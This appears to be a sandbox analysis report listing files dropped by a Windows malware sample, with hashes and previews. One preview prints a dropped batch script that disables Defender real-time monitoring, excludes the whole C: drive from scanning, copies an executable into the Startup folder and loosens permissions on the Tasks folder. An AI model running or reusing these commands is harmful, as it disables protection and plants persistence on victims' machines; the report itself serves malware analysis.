Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I.>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I.=>...I..=>..Rich<>..........PE..L..... b............................0........0....@..........................`............@.........................p...4.......P....@..P....................0..<#......T............................U..@............0..x....... ....................text............................... ..`.rdata.......0....... ..............@..@.data... G..........................@....didat.......0......................@....rsrc...P....@......................@..@.reloc..<#...0...$..................@..B................................................................................................................................................................................................................................................

C:\ProgramData\ru.bat

Download File

Process:	C:\Users\mig.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	32
Entropy (8bit):	3.6883072359050906
Encrypted:	false
SSDEEP:	3:Ljn9GRVJRBJ8K:fkzjj
MD5:	11E08B5ABF3F1675F99C96F78C128B23
SHA1:	40D6DD08262EF959328AEC4DC5ED07532232037C
SHA-256:	50AC09332FF9D6521244B4F9CF6FD9CC489B3324ED1316E07F6A5904230397E7
SHA-512:	3005767016B4C5DA031FB2AC5288B01821D54768B5E099E1157D4FA4621A078D589E54D9C5C89DED58AC3CA94395DACBF1D840F9210F909D3C9DFE8092DE8FF9
Malicious:	false
Preview:	start "" "c:\programdata\st.bat"

C:\ProgramData\st.bat

Download File

Process:	C:\Users\mig.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	5.424428309831207
Encrypted:	false
SSDEEP:	24:5VMjhKYtPzOjuWVlNVwUVlaUVljUVlbUVlLUVlm4UVlB0k7P:54hLPzwblxlflSl6lqlmll7L
MD5:	4050181042859E45ECFA6F224AFA79DF
SHA1:	E72C9C8BA589B42A82792D8F7E794B79D8E831E3
SHA-256:	9DF0FF284989B10162CFFB51D9873C6743FFB83F6D7C4B869A8193E6D6AC63E9
SHA-512:	DE2740437A431403AC89577F1F570A78269F0F24C58B531E7522542E60A668D7DA355BE3A126AC2FC4472282C0B06D8B217EC62F04ED5E6AAB0BA9C8D27C54CE
Malicious:	false
Preview:	@echo off..chcp 65001......copy "c:\programdata\1.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"......tasklist /FI "IMAGENAME eq Superfetch.exe" 2>NUL \| find /I /N "Superfetch.exe">NUL..if "%ERRORLEVEL%"=="0" exit..takeown /f c:\windows\tasks..TIMEOUT /T 3 /NOBREAK..powershell Set-MpPreference -DisableRealtimeMonitoring $True..powershell Set-MpPreference -ExclusionPath c:\..icacls "C:\Windows\Tasks" /inheritance:e /grant "S-1-1-0:(R,REA,RA,RD)" "S-1-5-7:(R,REA,RA,RD)"..icacls "C:\Windows\Tasks" /inheritance:e /grant "SYSTEM:(R,REA,RA,RD)"..icacls "C:\Windows\Tasks" /inheritance:e /grant "Administrators:(R,REA,RA,RD)"..icacls "C:\Windows\Tasks" /inheritance:e /grant "Users:(R,REA,RA,RD)"..icacls "C:\Windows\Tasks" /inheritance:e /grant "%username%:(R,REA,RA,RD)"..icacls "C:\Windows\Tasks" /inheritance:e /grant "%domain%%username%:(R,REA,RA,RD)"..icacls "C:\Windows\Tasks" /inheritance:e /grant "EVERYONE:(R,REA,RA,RD)"..TIMEOUT /T 3 /NOBREAK..c:\programdata\migrate.

C:\Users\123.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5710844
Entropy (8bit):	7.987731811521438
Encrypted:	false
SSDEEP:	98304:akhLDqaZPnfUrHarN436g6ZAXhwgZ4LoMo/ysjiAt:r4aZvOi4iAygZ4Pt6t
MD5:	4A24AAD5274BE7E1FD5E3EF95EA20F8F
SHA1:	5CF6788734AB460430E01D32F3E64A47AE808122
SHA-256:	0C1B74E40ED0D866A7532724E73594994F37A5046067997267C4A5A259F24DA8
SHA-512:	0BD9FC5EF25271CD446EAA75331B6B202137E77793385E203C6D1955DBF309BB91BD1C4922C2BE2456619E5BA0369530C86F9045FEC0BD72070F77841F2A1DF0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I.>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I.=>...I..=>..Rich<>..........PE..L..... b............................0........0....@..........................`............@.........................p...4.......P....@..P....................0..<#......T............................U..@............0..x....... ....................text............................... ..`.rdata.......0....... ..............@..@.data... G..........................@....didat.......0......................@....rsrc...P....@......................@..@.reloc..<#...0...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3094
Entropy (8bit):	5.33145931749415
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymTqdqlq7qqjqc85VD:Pq5qHwCYqh3qtI6eqzxP0atTqdqlq7qV
MD5:	2A56468A7C0F324A42EA599BF0511FAF
SHA1:	404B343A86EDEDF5B908D7359EB8AA957D1D4333
SHA-256:	6398E0BD46082BBC30008BC72A2BA092E0A1269052153D343AA40F935C59957C
SHA-512:	19B79181C40AA51C7ECEFCD4C9ED42D5BA19EA493AE99654D3A763EA9B21B1ABE5B5739AAC425E461609E1165BCEA749CFB997DE0D35303B4CF2A29BDEF30B17
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380178869106931
Encrypted:	false
SSDEEP:	48:EWSU4y4RY5mFoUeW+gZ9tK8NPZHUxL7u1iMuge//ZVyus:ELHyIYgKLgZ2KRHWLOugos
MD5:	FF2E51CE1D344A2C3076D747F6BC0948
SHA1:	E012A9CE569350D55067C91FE3F72C84FC4197FA
SHA-256:	0749EFE71403EF99E4F30CA33B7E7539AEC11A57BC12EF78736CAD97F0BD7B99
SHA-512:	B99C42A37AAE84DEF60A61D6B831315EE50FCAA2E82DB07B88E31F19F10DE57F5E1E3F9D2B544FEF9B8CD667F053397A9FDCBE79004D3A6752AC61EF499519F6
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<...............i..VdqF...\|...........System.Configuration<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1orde5j2.5yv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_40vkucij.1eh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ja3cjwh.kuf.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4pxrftie.hiw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5tsbqb45.5bu.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c35mik4z.baa.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ddmww0n4.0us.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dmfzswj5.yza.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eta3ash4.ckq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gxkmw1an.sbw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hmxx1dbh.b1p.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m4ivireg.spw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qvycfni2.emz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sxxugq0d.zra.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_urlj3qpn.v05.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vk5me24y.leq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xytjxc1v.q2q.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yk5sohev.11m.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1RP6NC5ZVAE0UB0IE4GN.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7078406563828152
Encrypted:	false
SSDEEP:	96:F5baCBUPvkvhkvCCtjdWcA9LAHwdWcA9LAHn:F5bzUbjQcA9LrQcA9LW
MD5:	4C7441D5C98A8A94C84F33DCC272F278
SHA1:	8F903BB5F4A83F810565DBF483D2E10DC495E657
SHA-256:	4D31F10E79075E94EB1ABAF214D09B17FCD9FED3B89EBAE8EF323E257E6AE39A
SHA-512:	BA4EE6386128FD6A02DC5603DDCD35BCF33F8796A51574BFB1CEC419B4374B678BA02888F2A00EF2412047FDD2A2731ACE701F4E39A35003E944224FA55D398A
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.......x......R..........t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xz.....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xx...Roaming.@......DWSl.Xx.....C.....................w...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.Xv.....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl.Xv.....E.....................HY..W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.Xv.....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.Xv.....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSl.X......I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5HO0R4POADYFPLYNWCYD.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.707157813233429
Encrypted:	false
SSDEEP:	96:FzbaCBUPvkvhkvCCtjdWcA9LAHwdWcA9LAHn:FzbzUbjQcA9LrQcA9LW
MD5:	A7FD7AB183A65003CFCEF09EB8F8C25F
SHA1:	E2157457AB893DA2CEF9267B06961E0127999BA9
SHA-256:	47FF683935C8FFC5E47E0C644E1E5344500EBD9E28523B4714E6F8816D94360C
SHA-512:	14C3663F529085285FE83AE1C8F23CD6FEDFF63251A64DFB1AD43FFE64C80455399F3D15488A788994FEAE8154CB8D683D03D1DF31A12D817A64BD6108C7C8A6
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.......x......K..........t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xz.....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xx...Roaming.@......DWSl.Xx.....C.....................w...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.Xv.....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl.Xv.....E.....................HY..W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.Xv.....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.Xv.....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSl.X......I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZDBZ68V37LF7O92WKXK7.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.707073309639939
Encrypted:	false
SSDEEP:	96:F6baCBovkvhkvCCtjdWcA9LAHwdWcA9LAHn:F6bzMjQcA9LrQcA9LW
MD5:	1F0010C5939761E3EDB2822E53F494AD
SHA1:	48507D9C960B51506F7E94F0E0BDB6C1900FFE8B
SHA-256:	39345BA4D375AA7F20FB3782522A5B301BFB58115B79125537FC1A17DE7044A1
SHA-512:	7F5D0D0D43F822E40D47E8D7CF1C9C8ACBD8B851F3D50543B615E83C0BD8101C32A2DF93BAAB2361D6C4DC0C39B90B8155636A0E7BA834EEB3FB923B77C3A41D
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.......x......!G.........t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xz.....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xx...Roaming.@......DWSl.Xx.....C.....................w...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.Xv.....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl.Xv.....E.....................HY..W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.Xv.....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.Xv.....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. 